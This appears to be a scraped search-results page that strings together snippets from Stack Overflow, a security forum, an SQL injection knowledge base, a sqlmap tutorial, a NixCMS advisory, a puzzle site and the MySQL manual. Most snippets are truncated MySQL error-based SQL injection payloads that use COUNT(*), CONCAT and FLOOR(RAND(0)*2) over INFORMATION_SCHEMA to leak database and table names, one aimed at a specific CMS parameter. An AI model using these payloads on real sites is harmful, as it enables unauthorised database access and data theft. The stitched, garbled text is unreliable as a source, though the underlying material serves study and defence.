mysql - SQL Injection attack - What does this do? - Stack Overflow
The COUNT(*) and GROUP BY parts are necessary to provoke the error in MySQL: > SELECT COUNT(*),FLOOR(RAND(0)*2)x FROM information_schema.tables GROUP BY x; ERROR 1062 (23000): Duplicate entry '1' for key 'group_key'.
Bitcoin)) or (select 8844 from(select count(*), concat...
...CONCAT(0x716a6b7171,(SELECT (ELT(8844=8844,1))),0x716a6a7171,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS
SQL Инъекции | Page 9 | ANTICHAT - Security online community
INFORMATION_SCHEMA.PLUGINS GROUP BY x)a).
The SQL Injection Knowledge Base
AND(SELECT COUNT(*) FROM (SELECT 1 UNION SELECT null UNION SELECT !1)x GROUP BY CONCAT((SELECT table_name FROM information_schema.tables LIMIT 1),FLOOR(RAND(0)*2))).
Word Spark answers letters: Llc)+AND+(SELECT+5115+FROM...
Select your puzzle: Puzzle not found. (133 votes, average: 2,90 out of 5).
Templates) AND(SELECT 1 FROM(SELECT COUNT(*), CONCAT...
...(SELECT COUNT(*),CONCAT((SELECT (SELECT CONCAT(0x5e5e5e,unhex(Hex(cast(database() as char))),0x5e5e5e)) FROM INFORMATION_SCHEMA.TABLES LIMIT 0,1),floor(rand(0)*2))x FROM INFORMATION_SCHEMA.TABLES GROUP BY.
Intro to sqlmap · 2buntu
FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a) AND 'jjhL'='jjhL&Submit=Submit.
NixCMS 1.0 SQL Injection
...Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR) #. Payload: category_id=24' AND (SELECT 3422 FROM(SELECT COUNT(*),CONCAT
GROUP_CONCAT( ) в Mysql.
GROUP_CONCAT( ) в Mysql. Сегодня хочу рассказать об интересной функции в Mysql.
MySQL 8.0 Reference Manual :: 12.20.1 Aggregate (GROUP BY)...
InnoDB processes SELECT COUNT(*) statements by traversing the smallest available secondary index unless an index or optimizer hint directs the optimizer to use a different index.